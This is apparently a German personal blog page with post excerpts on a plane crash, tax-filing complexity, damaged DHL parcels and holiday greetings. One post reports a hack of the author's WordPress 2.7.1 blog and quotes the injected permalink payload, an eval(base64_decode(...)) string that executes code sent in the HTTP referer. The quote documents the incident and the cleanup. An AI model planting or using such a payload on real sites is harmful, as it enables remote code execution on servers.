Media Addicted

Es gibt Pläne und Protokolle für so etwas Tragisches. Aber heftig ist es schon. Mich wundert, dass so viel Politprominenz überhaupt in einer Maschine sitzen darf…

Mein aufrichtiges Beileid an die Nachbarn.

Ich bin ja nun echt kein Verfechter der FDP-Programmatik, jedenfalls nicht in dieser Form der Umsetzung. Aber eines würde mir echt gut gefallen: die versprochene Reform des Steuerwesens. Nicht, dass wir uns falsch verstehen: ich meine keine Steuersenkung, sondern eine Vereinfachung der Steuererhebung und -berechnung.

Warum? Mal als Randnotiz: ich habe mich 2,5 Jahre in einer Bankausbildung rumgedrückt, dann 5 Jahre in einem BWL-Studium an zwei verschiedenen Unis, seit 4 Jahren arbeite ich zwar nicht im Steuerbereich, habe aber eine Menge mit Finanzen zu tun, meine Steuererklärungen mache ich seit 1999 selbst, seit 2004 unter Zuhilfenahme eines dezidierten Steuerprogramms.

Meine steuerliche Veranlagung ist ein einfachst-Standardfall: ledig, keine Kinder, nur eine Einkunftsart, einziger “Sonderposten” sind ein paar Kleckerbeträge für mein Promotionsstudium.

Summa summarum sieht der Arbeitsaufwand dafür so aus:

Weiterlesen »

Im Laufe der letzten 12 Monate habe ich mich zweimal bei der Post / DHL beschwert (Beschwerdestelle), weil Paketsendungen regelmäßig deutlich beschädigt bei mir eintreffen. Immer ist eine Kante von der Ecke ca. 10-15 cm weit aufgerissen, genauso, dass man schön da reingucken kann, man bekommt meistens sogar eine Hand da durch. Nur der extrem sorgfältigen Verpackung von Amazon bzw. dem “flexiblen” Inhalt (Textilien) ist es zu verdanken, dass bisher nichts ernsthaft beschädigt war.

Seinerzeit sagte mir eine Mitarbeiterin am Beschwerdetelefon, dass das wohl ab und an durch die maschinelle Bearbeitung der Pakete im Logistikprozess passieren kann aber sorry, als Kunde ist mir das echt egal, ob das eine Maschine war oder einer der armen Hungerlöhner (2), die für die DHL Pakete austragen müssen.

Der konkrete Fall

Weiterlesen »

So, das war’s dann für dieses Jahr

Ich wünsche allen Leserinnen und Lesern ein frohes Fest und einen “guten Rutsch” wie man im Rheinland sagt. In diesem Sinne alles Gute und bis 2010!

Traurig aber wahr: es hat den Anschein, dass mein kleines Blog am Mittwoch um 2:16 Uhr morgens Opfer einer Attacke wurde. Es begann mit der Registrierung eines Benutzers namens “MikeWink”. Danach hatten alle Links im Blog ein Anhängsel in der Form

http://www.example.com/posttitle/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

Der Browser reagiert für jeden Klick auf jeden beliebigen Link mit “Internal Server Error 500″. Man konnte im Blog also nicht mehr navigieren (jeder Link war wie oben beschrieben manipuliert), sondern nur noch die Startseite aufrufen. Bemerkt habe ich den Zustand Donnerstag nachmittag und direkt behoben, indem ich “einfach” im Admin Panel die Permalink-Struktur wieder zurückgesetzt habe auf meinen Standard (dort war der o.g. Code einfach hinzugefügt worden, wie auch immer das geht.

Die Attacke nutzte wohl eine Schwäche in der WordPress-Version 2.7.1, die ich deswegen noch nicht geupdated hatte, weil von Problemen mit dem 2.8.x-Strang berichtet wurde. Lesenswerte Details finden sich beim Fiesen Admin.

MIttlerweile habe ich das Problem oberflächlich behoben, meint: neue Passwörter für Datenbank, FTP, Admin-Bereich. Allerdings scheint der Hack tiefer in die Datenbank zu reichen und hier -Asche auf mein Haupt- ist das letzte Backup von April diesen Jahres, weil still und unbemerkt das Backup-Plugin nach dem Update auf 2.7.1 aufgehört hat, wöchentlich Mail mit einem Backup im Anhang zu schicken. Und da diese Mails automatisch wegsortiert und als “gelesen” marktiert werden… (Update: Lucky Bastard! Sie wurden von da an nur auf einen Ordner auf dem Server gespeichert, statt sie zu verschicken )

Es ist doch zum ko**** mit diesen scheiß Hackern bzw. hier eher SkriptKiddies, warum können die nicht einfach irgendwo hingehen und sterben?

Update – Was nicht hilft…

Interessant. Das hat in meinem Blog funktioniert, obwohl die Benutzerregistrierung schon vorher deaktiviert war…

Update 2 – Tracking it down + Gegenmaßnahmen

Weiterlesen »